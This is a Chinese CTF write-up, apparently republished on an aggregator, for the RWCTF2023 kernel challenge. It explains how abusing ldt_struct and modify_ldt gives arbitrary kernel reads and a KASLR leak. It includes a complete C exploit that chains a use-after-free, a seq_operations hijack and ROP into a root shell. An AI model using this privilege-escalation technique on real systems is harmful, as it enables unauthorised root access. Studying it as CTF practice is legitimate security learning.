【ldt_struct结构体的利用】RWCTF2023-Digging-into-kernel-3

news2024/12/24 10:25:00

ldt_struct 结构体

对于该结构体知识请自行谷歌学习,这里仅仅讲利用

ldt 即局部段描述符表Local Descriptor Table)该结构体如下,结构体的大小为 0x10:

/*
 * ldt_structs can be allocated, used, and freed, but they are never
 * modified while live.
 */
struct ldt_struct {
	/*
	 * Xen requires page-aligned LDTs with special permissions.  This is
	 * needed to prevent us from installing evil descriptors such as
	 * call gates.  On native, we could merge the ldt_struct and LDT
	 * allocations, but it's not worth trying to optimize.
	 */
	struct desc_struct	*entries;
	unsigned int		nr_entries;

	/*
	 * If PTI is in use, then the entries array is not mapped while we're
	 * in user mode.  The whole array will be aliased at the addressed
	 * given by ldt_slot_va(slot).  We use two slots so that we can allocate
	 * and map, and enable a new LDT without invalidating the mapping
	 * of an older, still-in-use LDT.
	 *
	 * slot will be -1 if this LDT doesn't have an alias mapping.
	 */
	int			slot;
};

其中 entries 指向一个 desc_struct 数组,nr_entries 标识 desc_struct 数组中元素的个数

/* 8 byte segment descriptor */
struct desc_struct {
	u16	limit0;
	u16	base0;
	u16	base1: 8, type: 4, s: 1, dpl: 2, p: 1;
	u16	limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));

modify_ldt 系统调用

Linux 提供给我们一个叫 modify_ldt 的系统调用,通过该系统调用我们可以获取或修改当前进程的 LDT:

SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
		unsigned long , bytecount)
{
	int ret = -ENOSYS;

	switch (func) {
	case 0:
		ret = read_ldt(ptr, bytecount);
		break;
	case 1:
		ret = write_ldt(ptr, bytecount, 1);
		break;
	case 2:
		ret = read_default_ldt(ptr, bytecount);
		break;
	case 0x11:
		ret = write_ldt(ptr, bytecount, 0);
		break;
	}
	/*
	 * The SYSCALL_DEFINE() macros give us an 'unsigned long'
	 * return type, but tht ABI for sys_modify_ldt() expects
	 * 'int'.  This cast gives us an int-sized value in %rax
	 * for the return code.  The 'unsigned' is necessary so
	 * the compiler does not try to sign-extend the negative
	 * return codes into the high half of the register when
	 * taking the value from int->long.
	 */
	return (unsigned int)ret;
}

我们应当传入三个参数:func、ptr、bytecount,其中 ptr 应为指向 user_desc 结构体的指针:

struct user_desc {
	unsigned int  entry_number;
	unsigned int  base_addr;
	unsigned int  limit;
	unsigned int  seg_32bit:1;
	unsigned int  contents:2;
	unsigned int  read_exec_only:1;
	unsigned int  limit_in_pages:1;
	unsigned int  seg_not_present:1;
	unsigned int  useable:1;
#ifdef __x86_64__
	/*
	 * Because this bit is not present in 32-bit user code, user
	 * programs can pass uninitialized values here.  Therefore, in
	 * any context in which a user_desc comes from a 32-bit program,
	 * the kernel must act as though lm == 0, regardless of the
	 * actual value.
	 */
	unsigned int  lm:1;
#endif
};

 read_ldt():内核任意地址读

可以看到该函数会将 ldt_struct->entries 指向的数据复制到用户区,所以如果我们能够控制 ldt_struct 结构体,那么我们就可以通过修改 ldt_struct->entries 去实现任意地址读取。

 write_ldt():分配新的 ldt_struct 结构体

该函数会调用 alloc_ldt_struct 函数重新分配一个 ldt_struct 结构体:

alloc_ldt_struct 调用的是 kmalloc 函数分配的 ldt_struct 结构体,所以这就给了我们控制 ldt_struct 结构体的机会。

ldt_struct 泄漏内核基地址

我们可以先泄漏直接映射区的位置,然后在直接映射区上有一个 secondary_startup_64 函数指针,然后我们就可以直接读直接映射区去泄漏内核基地址。

下面直接来自【PWN.0x02】Linux Kernel Pwn II:常用结构体集合 - arttnba3's blog

I. 爆破 page_offset_base 与泄露内核 .text 段地址

前面讲到若是能够控制 ldt->entries 便能够完成内核的任意地址读 ,但在开启 KASLR 的情况下,我们并不知道该从哪里读取什么数据

这里我们要用到 copy_to_user() 的一个特性:对于非法地址,其并不会造成 kernel panic,只会返回一个非零的错误码,我们不难想到的是,我们可以多次修改 ldt->entries 并多次调用 modify_ldt() 以爆破内核 .text 段地址与 page_offset_base,若是成功命中,则 modify_ldt 会返回给我们一个非负值

但直接爆破代码段地址并非一个明智的选择,由于 Hardened usercopy 的存在,对于直接拷贝代码段上数据的行为会导致 kernel panic,因此现实场景中我们很难直接爆破代码段加载基地址,但是在 page_offset_base + 0x9d000 的地方存储着 secondary_startup_64 函数的地址,因此我们可以直接将 ldt_struct->entries 设为 page_offset_base + 0x9d000 之后再通过 read_ldt() 进行读取即可泄露出内核代码段基地址

II. 利用 fork 完成 hardened usercopy 下的任意地址读

当内核开启了 hardened usercopy 时,我们不能够直接搜索整个线性映射区域,这因为这有可能触发 hardened usercopy 的检查

 ldt 是一个与进程全局相关的东西,因此现在让我们将目光放到与进程相关的其他方面上——观察 fork 系统调用的源码,我们可以发现如下执行链:

sys_fork()
        kernel_clone()
                copy_process()
                               copy_mm()
                                        dup_mm()
                                                dup_mmap()
                                                        arch_dup_mmap()
                                                                ldt_dup_context()

ldt_dup_context() 定义于 arch/x86/kernel/ldt.c 中,注意到如下逻辑:

/*
 * Called on fork from arch_dup_mmap(). Just copy the current LDT state,
 * the new task is not running, so nothing can be installed.
 */
int ldt_dup_context(struct mm_struct *old_mm, struct mm_struct *mm)
{
    //...

    memcpy(new_ldt->entries, old_mm->context.ldt->entries,
           new_ldt->nr_entries * LDT_ENTRY_SIZE);

       //...
}

 在这里会通过 memcpy 将父进程的 ldt->entries 拷贝给子进程,是完全处在内核中的操作,因此不会触发 hardened usercopy 的检查,我们只需要在父进程中设定好搜索的地址之后再开子进程来用 read_ldt() 读取数据即可

RWCTF2023-Digging-into-kernel-3

开启了 smap、smep、kaslr 和 kpti 保护,驱动程序很简单,就一个 ioctl 函数

然后有一个贴脸的任意大小UAF,并且有写堆块的功能。 

主要的问题就是这里没有读堆块的功能,所以关键点就是去泄漏内核基地址。最开始我想用 msg_msg + shm_file_data 去泄漏内核基地址的,但是最后失败了(我感觉应该是可以的),我认为是 copy_from_user 写数据的时候把 msg_header 结构体的 next 字段给覆盖了,由于我对 copy_from_user 的一些特性不是很明白,就没有深究。

最后选择利用 ldt_struct 去泄漏内核基地址,然后经过测试发现没有开启 CONFIG_RANDOMIZE_KSTACK_OFFSET 保护,所以直接劫持 seq_operations,然后利用 pt_regs 一套带走了。

我在 ctf-wiki 上看到其是利用的 user_key_payload 泄漏的内核基地址,然后通过 pipe_buffer 劫持的程序执行流,这个方法到时候在看看吧,我感觉 pipe_buffer 这个结构体很重要,后面好好学习一下。

然后这题也没有开启一些 slab 保护,所以也不需要堆喷,exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>

#define SECONDARY_STARTUP_64 0xffffffff81000060
size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
size_t init_cred = 0xffffffff82850580;
size_t commit_creds = 0xffffffff81095c30;
size_t add_rsp_xx = 0xFFFFFFFF812A9811;// FFFFFFFF813A193A;
size_t swapgs_kpti = 0xFFFFFFFF81E00EF3;

struct node {
        int idx;
        int size;
        char* ptr;
};

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

int rw_fd;
int seq_fd;
void add(int idx, int size, char* ptr)
{
        struct node n = { .idx = idx, .size = size, .ptr = ptr };
        ioctl(rw_fd, 0xDEADBEEF, &n);
//      if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
}

void dele(int idx)
{
        struct node n = { .idx = idx };
        ioctl(rw_fd, 0xC0DECAFE, &n);
}

int main(int argc, char** argv, char** env)
{
        bind_core(0);
        int qid;
        char buf[0x10] = { 0 };

        rw_fd = open("/dev/rwctf", O_RDWR);
        if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");

        add(0, 0x10, buf);
        dele(0);

        size_t page_offset_base = 0xffff888000000000;
        size_t temp;
        int res;
        int pipe_fd[2];
        size_t kernel_offset;
        size_t* ptr;
        size_t search_addr;
        struct user_desc desc = { 0 };
        desc.base_addr = 0xff0000;
        desc.entry_number = 0x8000 / 8;
        syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
        while (1)
        {
                dele(0);
                *(size_t*)buf = page_offset_base;
                *(size_t*)(buf+8) = 0x8000 / 8;
                add(0, 0x10, buf);
                res = syscall(SYS_modify_ldt, 0, &temp, 8);
                if (res > 0) break;
                else if (res == 0) err_exit("no mm->context.ldt");
                page_offset_base += 0x4000000;
        }
        hexx("page_offset_base", page_offset_base);

        pipe(pipe_fd);
        ptr = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);;
        search_addr = page_offset_base;
        kernel_offset = -1;
        while(1)
        {
                dele(0);
                *(size_t*)buf = search_addr;
                *(size_t*)(buf+8) = 0x4000 / 8;
                add(0, 0x10, buf);
                res = fork();
                if (!res)
                {
                        syscall(SYS_modify_ldt, 0, ptr, 0x4000);
                        for (int i = 0; i < 0x800; i++)
                                if (ptr[i] > 0xffffffff81000000 && (ptr[i]&0xfff) == 0x060)
                                        kernel_offset = ptr[i] - SECONDARY_STARTUP_64;
                        write(pipe_fd[1], &kernel_offset, 8);
                        exit(0);
                }
                wait(NULL);
                read(pipe_fd[0], &kernel_offset, 8);
                if (kernel_offset != -1) break;
                search_addr += 0x4000;
        }
        hexx("kernel_offset", kernel_offset);

        puts("Hijack the Program Execution Flow");
        pop_rdi += kernel_offset;
        init_cred += kernel_offset;
        commit_creds += kernel_offset;
        swapgs_kpti += kernel_offset;
        add_rsp_xx += kernel_offset;
        hexx("add_rsp_xx", add_rsp_xx);

        add(0, 0x20, buf);
        dele(0);

        seq_fd = open("/proc/self/stat", O_RDONLY);
        dele(0);
        add(0, 0x20, &add_rsp_xx);

        asm(
        "mov r15, pop_rdi;"
        "mov r14, init_cred;"
        "mov r13, commit_creds;"
        "mov r12, swapgs_kpti;"
        );
        read(seq_fd, buf, 8);
        hexx("UID", getuid());
        system("/bin/sh");
        return 0;
}

最后可以直接提权:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1060900.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【算法导论】中位数和顺序统计量

目录 1. 最小值和最大值1.1 寻找最大值或最小值1.2 同时寻找最大值与最小值 2. 期望为线性时间的选择算法2.1 解决的问题2.2 解决的办法2.3 伪代码2.4 RANDOMIZED-SELECT函数运行过程2.5 算法时间复杂度的分析2.5.1 最坏运行时间2.5.2 期望运行时间 3. 最坏为线性时间的选择算法…

斐波那契模型系列【动态规划】

动态规划步骤 1、状态表示 是什么&#xff1a;dp表&#xff08;可能是一维或二维数组&#xff09;里的值所表示的含义。 怎么来&#xff1a; 1、题目要求 2、经验题目要求 3、发现重复子问题 2、状态转移方程 dp[i]... 3、初始化 保证填表不越界 4、填表顺序 5、返回值 写代码时…

基于j2ee的交通管理信息系统/交通管理系统

摘 要 随着当今社会的发展&#xff0c;时代的进步&#xff0c;各行各业也在发生着变化&#xff0c;比如交通管理这一方面&#xff0c;利用网络已经逐步进入人们的生活。传统的交通管理&#xff0c;都是工作人员线下手工统计&#xff0c;这种传统方式局限性比较大且花费较多。计…

IDEA踩坑记录:查找用法 找到的不全怎么办

在我跟CC1链的时候&#xff0c;对InvokerTransformer类的transform()方法进行右键查找用法时&#xff0c;本来应该找到org.apache.commons.collections.map包中的TransformedMap类调用了此方法&#xff0c;但是结果确是没找到。 解决办法&#xff1a; 点击右上方的Maven选项&a…

数据结构 2.1 线性表的定义和基本操作

数据结构三要素——逻辑结构、数据的运算、存储结构&#xff08;物理结构&#xff09; 线性表的逻辑结构 线性表是具有相同数据类型的n&#xff08;n>0&#xff09;个数据元素的有限序列&#xff0c;其中n为表长&#xff0c;当n0时&#xff0c;线性表是一个空表。 每个数…

【Vue】Vue快速入门、Vue常用指令、Vue的生命周期

&#x1f40c;个人主页&#xff1a; &#x1f40c; 叶落闲庭 &#x1f4a8;我的专栏&#xff1a;&#x1f4a8; c语言 数据结构 javaEE 操作系统 Redis 石可破也&#xff0c;而不可夺坚&#xff1b;丹可磨也&#xff0c;而不可夺赤。 Vue 一、 Vue快速入门二、Vue常用指令2.1 v…

python机器学习基础教程02-鸢尾花分类

初识数据 from sklearn.datasets import load_irisif __name__ __main__:iris_dataset load_iris()print("数据集的键为:\n{}".format(iris_dataset.keys()))# DESCR 数据集的简要说明print(iris_dataset[DESCR][:193])# target_names 数组对应的是我们要预测的花…

导出视频里的字幕

导出视频里的字幕 如何利用剪映快速提取并导出视频里的字幕 https://jingyan.baidu.com/article/c35dbcb0881b6fc817fcbcd2.html 如何快速提取视频中的字幕&#xff1f;给大家介绍一种简单高效又免费的提取方法。需要利用到“剪映”&#xff0c;以下是具体的操作步骤和指引&a…

小团队内部资料共享协作:有效实施策略与方法

在高效率的办公节奏下&#xff0c;传统的文件共享方式无法匹配许多团队的需求&#xff0c;并且在现实使用过程中往往存在许多问题&#xff0c;如版本混乱、权限管理困难等。那么小团队的内部资料共享协作应该怎么做呢&#xff1f; 小型团队可以借助专业的协作工具实现高效内部…

十天学完基础数据结构-第五天(栈(Stack)和队列(Queue))

栈的定义和特点 栈是一种线性数据结构&#xff0c;它遵循后进先出&#xff08;LIFO&#xff09;原则。栈具有以下基本概念和特点&#xff1a; 栈顶&#xff1a;栈的顶部元素&#xff0c;是唯一可访问的元素。 入栈&#xff1a;将元素添加到栈顶。 出栈&#xff1a;从栈顶移除…

(c语言)经典bug

#include<stdio.h> //经典bug int main() { int i 0; int arr[10] {1,2,3,4,5,6,7,8,9,10}; for (i 0; i < 12; i) //越界访问 { arr[i] 0; printf("hehe\n"); } return 0; } 注&#xff1a;输出结果为死循…

【LeetCode热题100】--34.在排序数组中查找元素的第一个和最后一个位置

34.在排序数组中查找元素的第一个和最后一个位置 二分查找中&#xff0c;寻找 leftIdx 即为在数组中寻找第一个大于等于 target 的下标&#xff0c;寻找 rightIdx 即为在数组中寻找第一个大于 target 的下标&#xff0c;然后将下标减一。进行两次查找 class Solution {public …

AlexNet网络复现

1. 引言 在现代计算机视觉领域&#xff0c;深度学习已经成为了一个核心技术&#xff0c;其影响力远超过了传统的图像处理方法。但深度学习&#xff0c;特别是卷积神经网络&#xff08;CNN&#xff09;在计算机视觉的主导地位并不是从一开始就有的。在2012年之前&#xff0c;计…

二、互联网技术——网络协议

文章目录 一、OSI与TCP/IP参考模型二、TCP/IP参考模型各层功能三、TCP/IP参考模型与对应协议四、常用协议与功能五、常用协议端口 一、OSI与TCP/IP参考模型 二、TCP/IP参考模型各层功能 三、TCP/IP参考模型与对应协议 例题&#xff1a;TCP/IP模型包含四个层次&#xff0c;由上至…

正点原子嵌入式linux驱动开发——U-boot使用

在学会U-boot的移植以及其启动过程之前&#xff0c;先体验一下U-boot会更有助于学习的认知。STM32MP157开发板光盘资料里面已经提供了一个正点原子团队已经移植好的U-Boot&#xff0c;本章我们就直接编译这个移植好的U-Boot&#xff0c;然后烧写到EMMC里面启动&#xff0c;启动…

华为云云耀云服务器L实例评测|部署在线影音媒体系统 Jellyfin

华为云云耀云服务器L实例评测&#xff5c;部署在线影音媒体系统 Jellyfin 一、云耀云服务器L实例介绍1.1 云服务器介绍1.2 产品规格1.3 应用场景1.4 支持镜像 二、云耀云服务器L实例配置2.1 重置密码2.2 服务器连接2.3 安全组配置 三、部署 Jellyfin3.1 Jellyfin 介绍3.2 Docke…

VD6283TX环境光传感器驱动开发(4)----移植闪烁频率代码

VD6283TX环境光传感器驱动开发----4.移植闪烁频率代码 闪烁定义视频教学样品申请源码下载开发板设置开发板选择IIC配置串口配置开启X-CUBE-ALS软件包时钟树配置ADC使用定时器触发采样KEIL配置FFT代码配置app_x-cube-als.c需要添加函数 闪烁定义 光学闪烁被定义为人造光源的脉动…

全志ARM926 Melis2.0系统的开发指引③

全志ARM926 Melis2.0系统的开发指引③ 编写目的6. 存储系统简介6.1.概要描述6.2.文件系统接口6.2.1. 文件系统支持6.2.2. 文件系统接口函数 6.3. Flash 分区6.3.1.如何配置可配分区的大小 6.4.存储介质开发6.4.1. NOR Flash6.4.1.1.添加新 Nor Flash6.4.1.2.Nor Flash 保存用户…

Llama2-Chinese项目:6-模型评测

测试问题筛选自AtomBulb[1]&#xff0c;共95个测试问题&#xff0c;包含&#xff1a;通用知识、语言理解、创作能力、逻辑推理、代码编程、工作技能、使用工具、人格特征八个大的类别。 1.测试中的Prompt   例如对于问题"列出5种可以改善睡眠质量的方法"&#xff…

DP读书:《openEuler操作系统》(四)鲲鹏处理器

鲲鹏处理器 一、处理器概述1.Soc2.Chip3.DIE4.Cluster5.Core 二、体系架构1.计算子系统2.存储子系统3.其他子系统 三、CPU编程模型1.中断与异常2.异常级别a.基本概念b.异常级别切换 下面为整理的内容&#xff1a;鲲鹏处理器 架构与编程&#xff08;一&#xff09;处理器与服务器…